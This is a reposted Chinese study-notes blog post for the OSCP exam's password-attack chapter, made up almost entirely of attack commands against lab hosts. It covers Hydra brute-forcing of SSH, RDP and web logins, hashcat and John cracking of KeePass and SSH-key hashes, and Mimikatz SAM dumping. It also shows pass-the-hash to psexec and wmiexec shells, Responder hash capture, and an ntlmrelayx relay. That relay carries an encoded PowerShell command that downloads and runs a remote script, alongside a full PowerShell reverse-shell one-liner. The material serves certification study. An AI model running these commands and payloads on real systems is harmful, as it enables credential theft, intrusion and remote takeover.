文章总结: 本文详细介绍了OSCP认证考试中关于密码攻击的技术,包括网络服务密码爆破、密码破解基础和密码hash使用三大部分。主要涵盖使用Hydra进行SSH、RDP和HTTP服务密码爆破,利用Hashcat和John进行密码破解,包括字典变异、规则应用和特定格式hash破解。同时介绍了KeePass密码管理文件破解、SSH私钥密码恢复,以及NTLM、Net-NTLMv2hash的获取与破解方法,包括使用Mimikatz提取hash和Responder捕获Net-NTLMv2。最后还介绍了Net-NTLMv2中继攻击技术,在无法破解密码时转发认证请求获取系统访问权限。
综合评分: 85
文章分类: 渗透测试,WEB安全,密码安全,漏洞分析,安全工具
OSCP | 密码攻击
原创
小A法师
高级红队专家
2024年7月1日 07:24
北京
教材和学习方式详见开篇:OSCP学习之路-开篇
本篇对应教材第15章,主要内容“网络服务密码爆破”、“密码破解基础”、“使用密码hash”,记录使用工具和命令
15.1 网络服务密码爆破
15.1.1 SSH和RDP
ssh密码爆破
hydra -l george -P /usr/share/wordlists/rockyou.txt -s 2222 ssh://192.168.50.201
rdp密码喷洒
hydra -L /usr/share/wordlists/dirb/others/names.txt -p "SuperS3cure1337#" rdp://192.168.50.202
15.1.2 HTTP页面POST爆破
hydra -l user -P /usr/share/wordlists/rockyou.txt 192.168.50.201 http-post-form "/index.php:fm_usr=user&fm_pwd=^PASS^:Login failed. Invalid"
15.2 密码破解基础
15.2.2 字典变异
取少量字典演示
head /usr/share/wordlists/rockyou.txt > demo.txt
去掉1开头的行
sed -i '/^1/d' demo.txt
创建规则文件(末尾加1)
echo \$1 > demo.rule
hashcat查看规则后的字典
hashcat -r demo.rule --stdout demo.txt
比较两个不同规则文件
kali@kali:~/passwordattacks$ cat demo1.rule $1 c kali@kali:~/passwordattacks$ hashcat -r demo1.rule --stdout demo.txtPassword1Iloveyou1Princess1Rockyou1Abc1231
kali@kali:~/passwordattacks$ cat demo2.rule $1c
kali@kali:~/passwordattacks$ hashcat -r demo2.rule --stdout demo.txtpassword1Passwordiloveyou1Iloveyouprincess1Princess
kali@kali:~/passwordattacks$ cat demo1.rule $1 c $!
kali@kali:~/passwordattacks$ hashcat -r demo1.rule --stdout demo.txtPassword1!Iloveyou1!Princess1!Rockyou1!Abc1231!
kali@kali:~/passwordattacks$ cat demo2.rule $! $1 c
kali@kali:~/passwordattacks$ hashcat -r demo2.rule --stdout demo.txtPassword!1Iloveyou!1Princess!1Rockyou!1Abc123!1
演示破解hash
kali@kali:~/passwordattacks$ cat crackme.txt f621b6c9eab51a3e2f4e167fee4c6860
kali@kali:~/passwordattacks$ cat demo3.rule $1 c $!$2 c $!$1 $2 $3 c $!
破解
hashcat -m 0 crackme.txt /usr/share/wordlists/rockyou.txt -r demo3.rule --force
查看默认规则
ls -la /usr/share/hashcat/rules/
15.2.4 密码管理软件
keepass的存储文件是.kdbx后缀
Get-ChildItem -Path C:\ -Include *.kdbx -File -Recurse -ErrorAction SilentlyContinue
提取hash
keepass2john Database.kdbx > keepass.hash
删除hash中开头的
Database:
删除后是这样的
kali@kali:~/passwordattacks$ cat keepass.hash $keepass$*2*60*0*d74e29a727e9338717d27a7d457ba3486d20dec73a9db1a7fbc7a068c9aec6bd*04b0bfd787898d8dcd4d463ee768e...
查看hashcat的破解策略
hashcat --help | grep -i "KeePass"
破解
hashcat -m 13400 keepass.hash /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/rockyou-30000.rule --force
也可以用john直接破解不用修改hash文件
15.2.5 SSH秘钥破解
ssh2john id_rsa > ssh.hashcat ssh.hash
有$6
hashcat -h | grep -i "ssh"$6对应 22921 | RSA/DSA/EC/OpenSSH Private Keys ($6$)
创建规则
kali@kali:~/passwordattacks$ cat ssh.rulec $1 $3 $7 $!c $1 $3 $7 $@c $1 $3 $7 $#
创建字典
kali@kali:~/passwordattacks$ cat ssh.passwordsWindowrickc137davesuperdavemegadaveumbrella
破解
hashcat -m 22921 ssh.hash ssh.passwords -r ssh.rule --force
或者将规则计入到john配置里进行破解
sudo sh -c 'cat /home/kali/passwordattacks/ssh.rule >> /etc/john/john.conf'john --wordlist=ssh.passwords --rules=sshRules ssh.hash
得到密码,进行ssh登录
ssh -i id_rsa -p 2222 [email protected]
输入密码即可登录成功
15.3 使用密码hash
15.3.1 NTLM破解
查看本地用户
PS C:\Users\offsec> Get-LocalUser
管理员身份运行cmd或者powershell(mimikatz需要管理员权限)
.\mimikatz.exeprivilege::debugtoken::elevatelsadump::sam
获得SAM里面的hash
User : nelly Hash NTLM: 3ae8e5f0ffabb3a627672e1600f1ba10
破解
hashcat --help | grep -i "ntlm"hashcat -m 1000 nelly.hash /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force
15.3.2 NTLM传递
mimikatz获取hash
.\mimikatz.exeprivilege::debugtoken::elevatelsadump::sam
获得administrator的hash,使用smbclient进行hash传递
smbclient \\\\192.168.50.212\\secrets -U Administrator --pw-nt-hash 7a38310ea6f0027ee955abed1762964b
可以获得smb共享以及文件或者使用psexec传递,获得shell
impacket-psexec -hashes 00000000000000000000000000000000:7a38310ea6f0027ee955abed1762964b [email protected]
也可以使用wmiexec传递获得shell
impacket-wmiexec -hashes 00000000000000000000000000000000:7a38310ea6f0027ee955abed1762964b [email protected]
15.3.3 Net-NTLMv2破解
获取hash,本地(192.168.119.2)开启监听
ip asudo responder -I tap0
目标机器上执行命令
dir \\192.168.119.2\test
获得hsah
[+] Listening for events... [SMB] NTLMv2-SSP Client : ::ffff:192.168.50.211[SMB] NTLMv2-SSP Username : FILES01\paul[SMB] NTLMv2-SSP Hash : paul::FILES01:1f9d4c51f6e74653:795F138EC69C274D0FD53BB32908A72B:010100000000000000B050CD1777D801B7585DF5719ACFBA0000000002000800360057004D00520001001E00570049004E002D00340044004E004800550058004300340054004900430004003400570049004E002D00340044004E00480055005800430034005400490043002E00360057004D0052002E004C004F00430041004C0003001400360057004D0052002E004C004F00430041004C0005001400360057004D0052002E004C004F00430041004C000700080000B050CD1777D801060004000200000008003000300000000000000000000000002000008BA7AF42BFD51D70090007951B57CB2F5546F7B599BC577CCD13187CFC5EF4790A001000000000000000000000000000000000000900240063006900660073002F003100390032002E003100360038002E003100310038002E0032000000000000000000
保存hash,查看破解策略
hashcat --help | grep -i "ntlm" 5600 | NetNTLMv2
破解
hashcat -m 5600 paul.hash /usr/share/wordlists/rockyou.txt --force
15.3.4 Net-NTLMv2中继/转发
破解不出密码时,可以转发
impacket-ntlmrelayx --no-http-server -smb2support -t 192.168.50.212 -c "powershell -enc JABjAGwAaQBlAG4AdA..."
报错的话需要用python3调用py脚本
python3 /usr/local/bin/ntlmrelayx.py --no-http-server -smb2support -t 192.168.240.212 -c "powershell -enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADQANQAuADIAMgA3AC8AcABvAHcAZQByAGMAYQB0AC4AcABzADEAJwApADsAcABvAHcAZQByAGMAYQB0ACAALQBjACAAMQA5ADIALgAxADYAOAAuADQANQAuADIAMgA3ACAALQBwACAAOQAwADkAMAAgAC0AZQAgAHAAbwB3AGUAcgBzAGgAZQBsAGwA"
powershell命令需要base64编码
$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex ". { $data } 2>&1" | Out-String ); $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
pwsh$Text = '$client = New-Object System.Net.Sockets.TCPClient("192.168.119.3",4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()'$Bytes = [System.Text.Encoding]::Unicode.GetBytes($Text)$EncodedText =[Convert]::ToBase64String($Bytes)$EncodedText
我在第一篇里提到的一些有价值的认证,还有什么质量高的认证考试我没想到的,可以私我
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:高级红队专家 小A法师《OSCP | 密码攻击》